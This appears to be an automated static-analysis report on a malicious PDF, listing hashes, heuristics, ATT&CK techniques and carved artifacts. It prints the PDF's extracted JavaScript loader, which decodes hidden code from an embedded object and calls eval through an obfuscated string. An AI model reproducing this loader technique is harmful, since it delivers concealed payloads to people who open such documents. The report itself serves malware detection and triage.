Malicious PDF — malware analysis report

Static analysis result for SHA-256 fd379c51a34785ed…

MALICIOUS

PDF

5.9 KB First seen: 2013-08-22
MD5: d8263e2c623ed5d5139b15c512eeac21 SHA-1: 75ae0b19986e6e42ebb15f5663ccea1781027c2e SHA-256: fd379c51a34785ed18b6a7193fe6df0c0a49580eb73ced804923ccc39abe6e73
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1553.005 Mark-of-the-Web Bypass

The PDF file exhibits multiple suspicious characteristics, including embedded JavaScript and an embedded binary file. The ML classifier strongly flags this PDF as malicious. The presence of these elements indicates an attempt to execute code or deliver a secondary payload, likely for malicious purposes.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0012.bin pdf-embedded-file PDF EmbeddedFile object 12 at offset 0x428 149220 bytes
SHA-256: 368e8a54f55a0f0288e4f991f93185b406296ccdd75aec6a02118d61e7a2f062
Detection
ClamAV: No threats found
Obfuscation or payload: likely
323 of 323 identifiers look randomly generated (e.g. 'VQW8vm2PRnBr3ePwN1VQW8vm2PRnBr3ePwN2VQW8') — consistent with name-mangling obfuscation. Carved artifact contains 145 long base64-like blob(s).
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x1CC 254 bytes
SHA-256: 1bc4bf38a788adcc495fb84f1f085cb4c62f9f214ddac09c9e3dd447973e35e6
Preview script
First 1,000 lines of the extracted script
ra=this.getDataObjectContents("xampp");rb=util.stringFromStream(ra, "utf-8");rc="";for (i=0;i<rb.length;i +=18){   rc +=rb.charAt(i);}rd="<test><one>ev</one><two>al</two></test>";re=XMLData.parse(rd);        rf=re.one.value+re.two.value;this[rf](rc);

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